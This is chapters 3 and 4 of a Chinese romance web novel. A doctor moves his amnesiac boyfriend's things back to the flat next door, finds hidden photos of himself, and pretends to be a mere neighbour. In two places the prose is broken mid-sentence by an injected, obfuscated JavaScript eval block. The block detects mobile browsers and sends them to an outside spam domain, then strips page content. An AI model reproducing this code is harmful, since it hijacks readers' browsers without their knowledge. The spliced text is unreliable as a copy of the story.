《想起我了吗》 3. 照片 抽了半支烟，黎江柳开窗通风，回房间在床上躺了一天，回医院后照常工作。 他的病人恢复得还不错，有两个再过一段时间就能出院，病人隔壁床出了车祸但好在没有重伤的谢明也是。 住院观察结束，他身体没有大碍，医生说是明天就能出院。 “你出院之后打算住哪？” 病房安静，只有仪器运转的声响，黎江柳查看病人伤口的愈合情况，听到坐隔壁床边的谢真出声。 手上动作不停，他垂下眼，继续查看伤口。 谢明从床上坐起，接过温水喝了口，问：“我之前住什么地方？” “陈永浩说你从大一开始就已经没在住校，自己找了个房子住，在月湾那边。” 飞快地瞟了一眼在另外一边给人查看伤口的穿着白大褂的人，谢真说：“你脚没好全，住学校宿舍上课方便些，室友之间有个照应，住自己那边对养伤更好，看你自己怎么选。” 谢明说：“我去住的地方看看。” 谢真说了声好：“我回头把地址发你。” 查完病人的伤口愈合情况，黎江柳做下记录，嘱咐了两句后起身离开病房。 说是隐瞒关系，真就从头到尾一眼没往这边看过。谢真看着人离开，直到病房门关上后这才收回视线。 隔壁床病人也跟着一起在看，抬手摸了下刚才被人碰过的地方，笑说：“你也觉得黎医生人很好吧。” 猝不及防的搭话，谢真反应了一下，跟着一笑，说是。床上的谢明没有反应，只看着她们聊天。 “嗡——” 拿在手里的手机抖了下，她说了声稍等，低头查看信息。是一条消息，很简洁的一行： 【9栋6-2】 复制了一下聊天信息，她收起手机，抬头继续说话。 病房外走廊人来人往，发完消息后黎江柳收起手机，前往下一个病房。 下午下班早，他回办公室的时候被同事蹲了个正着，转过椅子说：“今天下班之后要不要去吃个饭，和血液科的人一起。” 放下手里的资料，黎江柳脱下白大褂，说：“我今天有事得回去一下，下次吧。” 邀请再次被婉拒，悄悄在听着的其他同事冒头，发出谴责的声音：“每次都是下次，黎医生，你这已经很多个下一次了。” “你已经很久没跟我们吃过饭了，”有人合理地发散思维，进行推理，警觉道，“该不会家里有人了？” “我家里哪来的人。” 黎江柳已经换上外套，笑了下，说：“这次真有事，下次一定尽量去。” 他一笑，其他人都拿他没法，只能遗憾地收回视线，惋惜道：“晚上血液科那些冲着你来的人该伤心了。” “我一个大叔，谁要冲我来。” 换上衣服边走边揣上手机，黎江柳笑着一挥手，“明天见。” 他走起路来和平时的状态一样，看着懒洋洋的，但是个高腿长，一下子就已经走出老远。 同事们只能目送他离开。 黎江柳这次不是借口，是真回去有事。 到家后换了身宽松家居服，他去到次卧，打开挂满了衣服的衣柜。 谢明真正住的地方不是隔壁的602，是他这601，当初602只住了一段时间，很快就搬进了他这里，连带所有的生活用品一起。 住了这么久，现在把这些东西又重新搬回去算是个大工程，好在地方近，不用搬家公司。 简单整理了几件日常穿的衣服，他走出房间路过玄关的时候顺带叼了支烟，低头点烟的时候看了眼拿手上的衣服，最终放下打火机，没点上，直接打开门。 对面的门紧闭着，他指纹解锁，“滴”一声后解锁成功。 很空荡的房子，只有几套必须的家具和大家电，几乎没有生活过的痕迹，唯一的优点是干净，每隔一段时间会有家政上门打扫。 随意放了两件衣服在沙发上，黎江柳抱着剩下的衣服去了主卧，把衣服挂进衣帽间，转头去搬运第二批。 折好的衣服可以直接放进柜子里，他打开角落衣柜，把衣服塞进。 眼尾有扫到什么，塞衣服的动作一停，他稍微把衣服抽出。 看到了，还真有东西。是照片，一张叠一张，尺寸各异，各种光线各种场景下的都有。 照片上都是一个人。低头走路，在河边吹风，从医院大楼走出，吃饭，拿着牙刷洗漱，在沙发上睡觉，在公园晒太阳，还有太多太多。 “……” 全是他的照片。 从春到冬都有，一些他记得是什么时候的事，一些他甚至都不知道是什么时候拍的。 嘴一松，叼嘴里的烟差点掉地上，黎江柳眼尾一抖，快速伸手取下了照片，把衣服推回原位。 再搬了一次，衣服这部分终于解决。手里拿着意外收获的厚厚的一沓照片，他又想点烟了，好在最后忍住，只去厨房倒了杯水喝下。 搬完衣柜后是搬房间。房间里大多都是平时上课会用到的书，几年累积下来已经堆了不少。 奖状随意堆在角落，压在书上的是一个相框，相框里照片上的两个人挤在一起，一个人在对着镜头认真比剪刀手，另一个人突然袭击亲在脸侧，拍出来的结果混乱一片。 坐椅子上低头看了会儿照片，黎江柳笑了声，低头慢慢从相框里拆出照片。 和书一起被送到隔壁的只有空荡的相框，一起过去的还有一盆绿植，给空荡的房间增添了点生活气。 最后搬过去的是洗漱用品，拿着漱口杯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14858548|159404||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和一众洗漱用品进了洗漱间，他看了眼空间，觉得放东西的地方不太够，环视了一周，最后将视线对向镜子，试探着往前拉了下。 打开了，镜子后面还有个空间，打开后自动亮灯，照亮贴满了的照片。 “……” 黎江柳这次已经不知道该怎么表达，托着眼镜低头抹了把脸，沉默地把照片从柜子里取下，随手塞进口袋里，之后把洗漱用品一股脑地全塞进柜子里，迅速关上。 对这个人是一点不能掉以轻心。 没有东西需要再搬进，他快速离开了这个房子。 “咔哒——” 大门关上，揣着一口袋照片回去，在握上门把手前想起什么，他一转身，重新回到刚关上的大门前，输入几个数字，屏幕上弹出一个询问： 【是否删除管理员02？】 【是】 【管理员02，已删除】 收回手，黎江柳转身走进房子，一手带上门。关门声响后，走廊重回安静。 搬完时已经接近天黑，他用厨房仅剩的锅煮了点面，扔了几片菜叶和不知道是什么的调味料，面和菜煮熟了就算是成功。 端着看着还像一回事的面上桌，他坐下吃了一口，眉头瞬间皱起： “……好难吃。” 太久没吃过自己做的东西，都差点忘了自己手艺是这种水平。 面进垃圾桶，他最后点了个粥洗洗胃。 —— “电话卡已经补办回来了，你手机没救了只能换个新的，联系人和软件聊天记录还有照片这些找不回来了，你将就着用，到时候有问题再说。” 出院当天是个好天气，太阳高挂，好到有些刺眼。办理了出院手续，谢真从医院大门里走出的时候眼睛没忍住一眯，坐上车后才舒服了一些，转头看到已经坐在里面的人在翻新手机，太阳穴跳了下，问：“你在找什么？” 一个什么也没有的手机没有什么可找的，谢明没在翻什么，只是在看自己微信，视线从好友上滑过后最终落回自己头像，略微皱起眉，问：“这真是我账号吗？” 头像是只简笔画小狗，头上冒着根绿色的跟草一样的东西，看着不像是自己清醒的时候整的。 “你说这个啊。”谢真探过头，说，“你之前给我说过，这不是草，是柳……是什么来着，忘了，总之这不是你的号还能是谁的。” 谢明垂下眼，身上黑色卫衣宽大，斜斜坐着，继续低头翻联系人列表时窗外两道人影走过，于是略微抬眼看了眼。 是之前见过的隔壁床病人的主治医生，穿着常服，应该是下班了，旁边的人并排走着，肉眼可见的殷勤。 手上的动作不自觉停下，他看了两眼，又重新收回视线，换个软件继续漫无目的地翻联系人。 4. 你还是叫外送吧 提前下班，在停车场和隔壁科室的医生碰到，黎江柳和人走了一段。 在对方提出刚好一起去吃个晚饭时，他手背轻叩自己车的引擎盖，歉意一笑，“我今天回去还有事，下次一定。” 这是拒绝了。医生遗憾挠头，想不出其他话，于是只能一点头，说了声“路上小心”。 黎江柳跟着点头，等人走后掏出车钥匙解锁车门，坐进驾驶座后脱下外套，手把上方向盘，抬眼看向后视镜里隐约露出的黑色车身。 片刻后略微松了下领带，他呼出口气，点火挂档。 两辆车接连从停车场驶离。 “砰——” 和另一辆车前后驶入地下车库，黎江柳拿过副驾上的外套后关上车门下车。 走出后迎面对上拎着行李箱向这边走来的两人，对上两道投来的视线。 像是没想到会在这里遇到，穿着身黑色宽松卫衣的青年看着有些讶异，脸颊肌肉微动，想说什么。 黎江柳道：“我姓柳。” 在提示后想起来这位医生的姓氏，谢明略微一点头。 他长得高，垂眼看人像俯视，脸上不带表情时显得乖戾，体格又大，虽然一张脸好看，但看着很不好相处。 黎江柳完全没在怕，一手揣口袋里，转头看向谢真，说：“我刚好和他是邻居，可以帮你把他带上去。” 谢真于是一点头，说了声有劳。 谢真离开，黎江柳带着身后的人进了楼栋。 进电梯后按了楼层，迎着旁边人的视线，他往墙上一靠，随口道：“我和你是邻居，但总共没见过两面，不熟，所以在医院没说。” 谢明一手搭在行李箱扶手上，应了声。 空间里只剩下电梯运作的声音，黎江柳多看了两眼他。 他转过头，问：“怎么？” “没事，”黎江柳笑了下，说，“只是在想原来你也有这么安静的时候。” 谢明表情终于有了点变化，说：“我平时在家很吵？” 黎江柳略微思考，之后一点头，“算是。” 无论在哪都要亲要抱要牵手，超过三句话没得到回应就控诉他冷暴力，从某种方面来说确实挺吵，他这个上了年纪的大叔很难吃得消。 谢明于是说了声抱歉。 虽然看着不好相处，但道歉挺快。 电梯到六楼，黎江柳从外套里掏出钥匙，抬脚走出电梯，谢明拎着行李箱跟着走出。 “……” 在钥匙插进锁孔之前，黎江柳转头看向还跟在后面的人，道：“这边是我家，你家在对面。” 谢明略微抬起眼看向大门，说：“我觉得这边更像我家。” “不对。” 黎江柳把人硬生生转了个向，改为正面面对对面的大门，说：“那边才是你家。” 转动锁孔里的钥匙，他抬脚走进房间，关门前说：“要是有什么问题可以随时来找我，如果我没在休息的话。” 之后略微一挥手，带上大门。 开门又关门的短暂时间里，谢明转头看到了眼房间里陌生的陈设，最终转回头，试探性地碰上大门门锁。 滴一声响后，指纹解锁成功。这确实是他住的地方。 他提起行李箱走进房间，环视一周。 房子装修很简单，没什么生活气息，只有随意扔在沙发上的两件衣服彰显出这里确实有人住过。 单人用的水杯，碗盘，漱口杯，只有主卧在用的卧室，走了一圈后基本可以看出他这段时间的生活状态。 简单整理完行李箱，他把手机扣桌上，往沙发上一躺。 窗外天色从亮到黑，城市灯光亮起，漆黑客厅同样亮起灯光。 下午下班回家后有些累，黎江柳回房间休息到晚上，起来洗了个澡后回到客厅，叼着烟拉开窗帘。 “咚咚——” 笔记本刚开机，门外传来敲门声，他略微抬眼，起身去开门。 “咔哒”一声响后，大门打开。站在门外的谢明垂眼看去的时候第一眼看到的就是缭绕的烟雾和后面隐约的一双眼。 烟味弥漫开，在他说话之前，开门的人先后退一步，随手捻灭手里的烟，道声抱歉，“你闻不习惯烟味吧。” 这是这人自己家，抽不抽烟和他无关，谢明不说多话，只说还好。 把烟捻灭了，黎江柳终于转过头来，抬眼问：“有什么事吗？” 谢明于是说：“我家里的浴室花洒坏了。” 黎江柳想起来了。 这人之前频繁来他这边的理由就是花洒坏了。要是没记错，应该已经是很久之前的事，居然到现在还没修。 “我这浴室没人用，你暂时用一下吧。” 他侧身让开，弯腰从鞋柜里拿出一双印着什么小狗图案的粉色拖鞋，拿到一半时又放下，去更下面拿出客人用的灰色拖鞋。 他很瘦，在家里衣服穿得单薄，只有一件宽大家居服，弯腰时甚至能看清背脊上的骨骼突起。 视线在粉色拖鞋上点了瞬，谢明没有往前，而是问：“黎医生有女朋友吗？” “女朋友？” 突如其来的一个问题，黎江柳愣了瞬，之后一笑，说：“没有，我单身。” 意识到这是刚才的拖鞋扯出的问题，他顺嘴解释了句：“这是我朋友的鞋，他来的时候喜欢穿这双。” “进来吧。”把拖鞋放地上，他说，“只是浴室我刚用过，需要排一下空气。” 或许是错觉，这位黎医生说“单身”的时候气息似乎颤了下。 也就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14858549|159404||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 片刻的思索，等到谢明再反应过来时，拖鞋已经放面前，里面的人正在去给浴室排气。 他原本只是想来问花洒这种情况怎么处理，并且已经决定去附近找个酒店洗澡，但在这种情况下似乎已经没有其他选择。 只是想来问个问题，他最终莫名其妙带上换洗衣服进了别人家。 在家里的黎医生看着比在医院时要热心不少，或者说更有点生活气，一起进浴室给他介绍了哪些东西该怎么用，很有耐心。 浴室里的空气已经换了一遍，但还有淡淡的香味，和黎医生身上的有些像，有一种有些说不出来的熟悉。 黎江柳没有多留，简单介绍了下浴室后就带上门离开。 浴室水声响起，他回到客厅唤醒笔记本，顶着头上毛巾低头继续找文献。 水声停下，谢明从浴室出来的时候他还在看文献，镜片映着屏幕的幽蓝光亮，银灰镜框带出冷白的光，十分专注。 直到听到脚步声，他这才转过头看向从一侧走出的人。 穿着身简单的深灰家居服，头发湿润，水滴顺着发梢往下滴，落在搭肩上的毛巾上。 看了一眼，黎江柳有些讶异地一抬眉。 用搭在肩上的毛巾擦头发的手一顿，谢明问：“怎么了？” “没事，”黎江柳摘下眼镜揉了下眉骨，说，“只是觉得有些少见。” 何止是少见。 从这个人住进这里后，他没一次看到人从浴室出来的时候上半身正经穿着衣服。 以为少见指的是这里很少有人来，谢明先道声谢又说了声打扰，之后告辞离开。 重新戴上眼镜，黎江柳放下笔记本站起身，往厨房方向走，问：“吃晚饭了吗？” 谢明说没有：“等会儿叫饭店外送。” “外送？”黎江柳简单回忆了一下，抬眼道，“我还以为你是喜欢在家里自己做饭的那种类型。” 从小都是家里阿姨做饭的大少爷否认了，说：“我不会做饭。” 黎江柳收回视线，“是吗。” 看了眼站不远处的大高个，他最终叹了口气，不太熟练地系上围裙，说：“外卖慢，我下碗面给你吃吧。” 谢明留下了。 坐在沙发上，稍微侧眼就能看到旁边未关的笔记本上看到一半的文献还有厨房里蒸腾的雾气。 客厅的窗户已经打开，烟味散尽，只有一点残余的沐浴露的浅淡香味。 煮面很简单，也是黎江柳为数不多会的东西，只要把面煮熟再加点菜叶，最后加点调味就好。 水沸腾，关火，把面捞进碗里，他简单尝了下味。 “嗯……好吃。” 放下手里筷子，他转头看向坐在沙发上的男大学生，说：“你还是回去叫外送吧。”